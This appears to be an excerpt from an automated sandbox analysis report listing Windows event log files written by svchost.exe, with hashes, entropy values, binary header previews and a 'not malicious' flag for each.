Preview:	ElfChnk.Y.......g.......Y.......g............%...&..}..J....................................................................uC.s............................................=...........................................................................................................................f...............?...........................m...................M...F...........................................=...............&...............................................................s.......................**......Y........................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1499045494600955
Encrypted:	false
SSDEEP:	384:Dhc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauind:D6Ovc0S5UyEeDgLslstY
MD5:	2045FB0D54CA8F456B545859B9F9B0A8
SHA1:	35854F87588C367DE32A3931E01BC71535E3F400
SHA-256:	E4305D5E1125E185F25AABA6FF9E32DE70B4EFD7264FE5A0C7C2EF3C33989C45
SHA-512:	013CAC4CBF67C9AB5D2A07E771BAF81950E5A256F379E3C2E26CC9E8E47379579470CC6FD56E93B31C4D17935713D1FC6026307427D77CBE9647139E3D73AC47
Malicious:	false
Preview:	ElfChnk.........;...............;...........xk...m...+.....................................................................F.~.................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................6f..w...............................**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8164696340947971
Encrypted:	false
SSDEEP:	384:jhGuZumutu4uEu5uOuDuyb2uPu1uRu3uGuHu9/u:jr
MD5:	1AB19FA472669F4334C7A9D44E94E1B3
SHA1:	F71C16706CFA9930045C9A888FDB3EF46CACC5BC
SHA-256:	549D89A256E3C71AFCBF551EC9BEDBDB3CF2DC74B4F8C214FDC1D270FB731F6E
SHA-512:	72F1F20CB1F2984B318E4A2AAEE11D573441A77D04C0577D24E19F89E85F1691CB29EF569BD25EBBBD313C7B9DB945DB43D52EEFC2EF33E7BEECDFB8E0BBC404
Malicious:	false
Preview:	ElfChnk...................................... ..x$../..........................................................................<................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................!..................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9855903635327656
Encrypted:	false
SSDEEP:	384:cxNhPALAb/A0D6AKAlAfyVAQhAQueA4AIAwA0AYAwA+/AfAjrA3DA:cxN90yzXd
MD5:	7BCA54AC75C7185ADFBB42B1A84F86E3
SHA1:	AD91EE55A6F9F77AD871ACA9A5B59987CA679968
SHA-256:	A43B1365211A968B4EC3F9EC7489D05AD9EED30D3EE0CCD89860D20DFE1914D4
SHA-512:	79A04DCE951528E09F7580E797E38D58CFC556EFEC032C3E68C701D720E01CBDCA3D4F27C309D50B9096570787A0E62B2C69236D148AC9C216CB13AA05E9619F
Malicious:	false
Preview:	ElfChnk.....................................P+...,...0........................................................................9.................B.......................j...=...........................................................................................................................f...............?...........................m...................M...F...........................U.......................%%......&...................................................>...........................E.......**..............o.m...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.165454452307923
Encrypted:	false
SSDEEP:	384:ghVpIcpBUpBxpBapB3pBEpBZpBKpBV1pBApBppBTSpBcu1pBspBlpBABpB7pB0py:gd+uXvB
MD5:	B6B6F199DA64422984403D7374F32528
SHA1:	980D66401DFCCF96ADDDAF22334A5CE735554E7F
SHA-256:	8F65F81EE28F48B5007E04842ACC9DE20794A59E2759C2F35F7C10730A1EF7BF
SHA-512:	5B0EFBF1C57BACF347790EB5915AFCFDDDDAFA7761D94DF1341C4E79F5B16DA3FAC2C9653C3DC41B80E31EA44AE46F4FC95C6EC0FFA0A0D3C05C69CED6955DE4
Malicious:	false
Preview:	ElfChnk.........'...............'...........P.......H:Z.....................................................................gO.................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................f..................................**..............m.................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8519554794255333
Encrypted:	false
SSDEEP:	384:WhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBZ:WwDoh1VqKVvcVU
MD5:	4140628CA3CEC29C0B506CEEBDF684F6
SHA1:	A2B70496C8E91D8E78AA04976B25D850ABAC6E1C
SHA-256:	1823149759A2F1771ACE7B6BE14A0FEFC6F93DD9F81AC1024E6B41C2CCBFD8B0
SHA-512:	779A04771A8E9B2F501FE1251F0D56C5B5988911F6067082D84FF1DBCF5D9281E32DF6CC2C995843EA1FCED748548DC116706E0F738B6510B47C2B3A0EBAA126
Malicious:	false
Preview:	ElfChnk.\...............\.......................0..../........................................................................v.......................................R...=...........................................................................................................................f...............?...........................m...................M...F............................................;..............&...................................i...................................mS..............*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1642919553794224
Encrypted:	false
SSDEEP:	384:bhwCCRzCaCkClCzCYC/CyCVCGCMCvCNCACCxC/CLCoiC:bKFb
MD5:	D7EECF043241FDB9486580582E208603
SHA1:	045D5672A8E9884B78CD31C52D372375503CBF4F
SHA-256:	6F3BE76FC00FE21C18A904058F2AF850204488187187C9B8C4BF11EAA03EC6C0
SHA-512:	6738CD1D4081AD78CCC1E3E7AC46A394D9AC32906B4688E34DCCBBA42153FB826484C854F42FFF619DC8D50CAE708585B422F3EAA3A0219AAD19DC0962910125
Malicious:	false
Preview:	ElfChnk.....................................02..h6...u'.....................................................................1..................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................V2............................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.611480364194825
Encrypted:	false
SSDEEP:	384:BhVMpYQMdYJMdYwMsOM6UMmMWaMJMbMcMEMBMkM7MQMrMBYQM5JMg0dMtMnMS8Mq:BOFCRbf+GkoeiDpbH
MD5:	F7CBF10547CD1D43490830916EC54BAA
SHA1:	C252BAF129424AB1416D8BE19D45D3FB97A806BB
SHA-256:	E0466E5DE3C691AABE630128BB0337B444475D0DF1328B389F57AFAE3459089B
SHA-512:	77E8A4DC89BCE00E9A9E5FAE96CBF403BE45976C89E13F8A0C8C41BA4646F79BBD33B332D9F2F11BB519186513B525145E603E42D71D8374A18F67CD5CF9BC3C
Malicious:	false
Preview:	ElfChnk.........C...............C..........................................................................................W.Q.........................................4...=...........................................................................................................................f...............?...........................m...................M...F................................=..........................}...................................................&........B..........................**..0...........}<z...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1787704450569538
Encrypted:	false
SSDEEP:	384:khL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUmNUmtUmxUmqAUm:kY7Lv
MD5:	30C8639676FC18AD4DD91F57C68DE4BF
SHA1:	036B5574A8C22C4CF272515BF36367D92703894A
SHA-256:	8FA1621B5F3777ABB820E7B6E265FDCBA2CBEE2BAC0FF1D48884DBA5743B896B
SHA-512:	8090825C343D0291E490F2E05549B5650F698A45D4E0188041A0811B283E9FE9A65060C77F8A888DCE82A380220E2847286D3D3D70DB94CF883F2DA0C01E2082
Malicious:	false
Preview:	ElfChnk....................................../..(4............................................................................[................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&..................................................................................../..................................**..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2040973025675846
Encrypted:	false
SSDEEP:	48:MltW4vsrP+MZQNRBEZWTENO4bpBkof4df/6FgVt:uD6KNVaO80ofef/6Fg
MD5:	D3068F76AB8B5C986CE0CD4F214A25AA
SHA1:	A68E70F39380931E35AE987036A75B7B6634220E
SHA-256:	826C500714315CF43735691AABD8B559F85C763EE5FC5DC058E4873A2FEFB19E
SHA-512:	EDFCC59A58FA1CECF401D2CC58955846A4E80056BB592986D8BE35E14F8CBABD9F78E2EE03FC11C722FBDDB32AA9CB61AAF5F17C544D8587935086B4F0842F08
Malicious:	false
Preview:	ElfChnk.............................................w.Lq.....................................................................6.f................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**................m...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.6469884746870727
Encrypted:	false
SSDEEP:	384:/hpivNiGiriPiYiriDfiS83i0iGiTiYiUisiuiZi+iTiciUiQiJiUiBi4i/iAixQ:/G7t8H
MD5:	FC81D9FBA555C6BC7223594B8F6B46DE
SHA1:	971F47CFC0E1DCA462928DA2D8BE2B16D5A0629C
SHA-256:	9933922E09C49C5BA80292C4AED9EC9F457031E90B28B421DFFBD2F1BB840671
SHA-512:	7F2705E7526B49F76C5F2A76A88B83FC10591BAD68B451F5C67F841322076D4B408FC515EA59E0919907C73CBBD149AB5B5EE981083A52C9E90EC9FBFAD5254F
Malicious:	false
Preview:	ElfChnk.y...............y................... Q..(S...b.......................................................................t..............................................=.......................#...................................................................................................f...............?.......................P.......................M...F...............................................................................................................VG..................................**......y..........:............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4105971138868307
Encrypted:	false
SSDEEP:	768:Yla0NnaaEarafana7abava3anaDa7a7ajaB1aPa7aDabanananaHa7ajaTa7aPaa:cNl
MD5:	FC0BAB49ED66704837893A81C7CD2BBB
SHA1:	9A31E152427CBA778CC7895CC77EAAD18A56D9D0
SHA-256:	5B9AD00E45B47DFBFA58F6C5F11B09FC38BE99ACE2DAAEDE0C6F199580FFAD93
SHA-512:	956A4BE70B816D12F0FAD4AD740CD0C5745F0A5676155E846CDDC6086822720428D8F79116C885D5A36684D17291E7006E52C235CB4EF362F43D310074CBC352
Malicious:	false
Preview:	ElfChnk.........@...............@...............`...xx........................................................................P.................`...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................9...................................**..H.............:...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3132453844344478
Encrypted:	false
SSDEEP:	384:hhaXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJnXJRXJtXJLXJjXJppXJ:hQ0yUkNYwD8imLE5nTtFpf
MD5:	6237EE0458A0478242B975E9BB7AA97D
SHA1:	6B0BDBA887DA21675A63FC73AED995B1BCA3F6B1
SHA-256:	C8E224C54278C206302EAD7011ACC48CAC60E7638E32EE70653190DBC90FA70A
SHA-512:	56C025C971F77AB8E911E0190E8AB5CF533A909C1BF4558876FB2761AAA381CB7D21E44A3273FA4427CB2FF7DEECC15A312DD2A424B96ABDC4886BDF233F30E9
Malicious:	false
Preview:	ElfChnk......................................<...A.........................................................................i,.q................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................<......C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.325262033408211
Encrypted:	false
SSDEEP:	384:6hYmn9moomUmKBmZOmZmlmmmomRmemtmsmimGmHmEmqmwmHmLmlm9mGmdmpm3mfO:6/fGTDcx
MD5:	D13189B45679E53F5744A4D449F8B00F
SHA1:	ED410CAB42772E329F656B4793B46AC7159CF05B
SHA-256:	BAA80D6A7DC42752766B1862A00009A1D76B57022A4D5A89692DBA2D6866EBA1
SHA-512:	83399CE082F8C6D2917B8363E053C770F2783B3D086F39736919FBFA533DF65993A3B7840A2E1000B08948584CF9750C27961BF8A7BE3A235B5DDD779616013F
Malicious:	false
Preview:	ElfChnk.....................................h.................................................................................-.................X...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................1...........&.......................................................................................**..x...........~_g...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7947046118743749
Encrypted:	false
SSDEEP:	384:jhr2zS2o202AW2D2t2l292l2V2p2d2N2:j8Q
MD5:	55E73A924B170FBFFF862E8E195E839A
SHA1:	3C625D05DFC08AE9DF26AEBAA82D72FC9F28ADB0
SHA-256:	1B36D85AA56A023F6646D6EF28C9DCB5358528274EDCC9B6ED20705E3007E8A2
SHA-512:	E14D32569F37A827EDBD1F02667866431C856D087A396933DE5E9B87943369C4802D220557050C7B0FE9367FBD0683676776E6D3CCBCB290C9F30D86EC529E28
Malicious:	false
Preview:	ElfChnk...................................... ..X"...........................................................................?.................Z...........................=...........................................................................................................................f...............?...........................m...................M...F...............................3...........................&.......................................................................................**................................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	66808
Entropy (8bit):	4.3658295704348555
Encrypted:	false
SSDEEP:	384:NgRYNkBxxhSRumRtRqR5RVR+rRvR3RFRXRmRbR+RLRlRFRDRiwhR3KR31RIRB8RT:N3NwxA8nPLGbKNj
MD5:	470541D95F1FC08759E8F2DFE12F6CE4
SHA1:	A70EB7B3EC5682AE241E30900060DB71D3E4A218
SHA-256:	81E038AB1A91B694863827EE8A36814FE8883A512B26637A3606D37B37787C68
SHA-512:	E7C5576F49C0DCF55A567C65CC45393BC9655FACF9CB935E89EA32D5CFAF9C3A2CEA0E2BC0C3520A5E8DD54F9BC4BBD0E5965889324F1D758E848D4626429A0C
Malicious:	false
Preview:	ElfChnk.....................................................................................................................v......................y.......x..N...........=............................................y..................}y..3...........................................c......xb..f...h.......lc..?.......................h........c......M.......M...F...9c..............................................Qb..............................................A.......i.......................&............x..**..............X..)\M.........x68................................................................<.......T.....!................@X..)\M...W...YLC..g..E.....T........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y.......#F.~.J.{..M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...(~K.6.......N...............................{.1.A.D.6.9.F.D.5.-.0.8.2.1.-.4.B.C.C.-.9.8.2.1.-.C.6.F.B.9.9.F.3.F.4.2.F.}...J.O.N.E.S.-.P.C...J.O

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.273338343434408
Encrypted:	false
SSDEEP:	384:mhWhjhUh4h4hthXhzh8cghshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLhahYhC1:mBsFpkBjOFK
MD5:	C37372EB51AEDB4552CB839C7294403A
SHA1:	7B7C408D72B084CE36AA6B623AC6B907FD21D569
SHA-256:	C3B5D9D16F88507EF69A9B6FF8581AEBAFF84D254F62CD4E75B6A9C6F93E93C4
SHA-512:	69183719C29FCE5CEDB2634579ABA9FEF835A3CDC7668BB741F9DB36050756C088FD331E898DA8E4850887FD217B939DF1C5A3E7D73D2260CB3AC3570E71718E
Malicious:	false
Preview:	ElfChnk....................................................................................................................x...........................................8...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..............i.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.231195890775603
Encrypted:	false
SSDEEP:	384:ZhOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVt9VjViVyVKVui:Zyjbn
MD5:	3365A34953FD7B16667108A049B64DA5
SHA1:	C72421A58E063D64072152344B266F8306A78702
SHA-256:	AAEDFFE84B66B602858AF51D5B2EBA7CFC9DB57A4A3DD3240DB44B737B9BBF26
SHA-512:	A5569EDC7516DACCCE7B3135114588E01ED1A77CA95B0F378E389E27AC8999EA71E8AF36FD275EEA7E81987CB9BF14910645DE3DC4FE8E086FF532796DD78AAF
Malicious:	false
Preview:	ElfChnk.........!...............!............7..`8...j......................................................................@..#................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v....................................................3..................................**..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.350637590276604
Encrypted:	false
SSDEEP:	384:Ih+BwB5BwBjBwBNSBwBYiBwB+BwBXBwBZabSqBwBlQBwBtfBwBvBwBPnBwBIrBww:IOqabeGTnbuSx8
MD5:	354A2904520E9FD0C611B4EBDD7385AE
SHA1:	DECBFBB01430B8612EFB17A35801707A52E15E28
SHA-256:	21FDE075C0EB7A2BC2081AC1A89DA92C8C91C7080C19E246CA0B527C814A3AD5
SHA-512:	4C0C0B831D03F23E6CE54154E30351C74BFD43EB82986425A4EAAC79401075F9F5057D305DCB46AA9C5C238CC24A8D88C493FBF4CE460F253941E3466EB25E62
Malicious:	false
Preview:	ElfChnk.....................................H...x...6A......................................................................0...............................................=...........................................................................................................................f...............?...........................m...................M...F....................S......................................&...................................u...................................................**...............Dbf..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.421206160086997
Encrypted:	false
SSDEEP:	384:ah1qUEzUELUEnUEQUEpUE9UE4UEvUEqUEGUEuUEyUEpjUEmUE6UEVUE1UEdUEoUF:arN5mPfkvmR
MD5:	67CAD90771EBC0BD20736201D89C1586
SHA1:	EE241B07EBD6E7A64AE367520F5C0665F4EBBAD7
SHA-256:	7801ED56F87C5A71A42128D089176CFDAACCCD6998EACCD07E46207F2CD48467
SHA-512:	27DE77A98E11A1D33B648B9F46671F61338B1746032B4AD8F003A8A5C52FB7C3ECCB834057074EF5FCD3459A0810439BAF63E1320B385F7A5E81757A90BBFD13
Malicious:	false
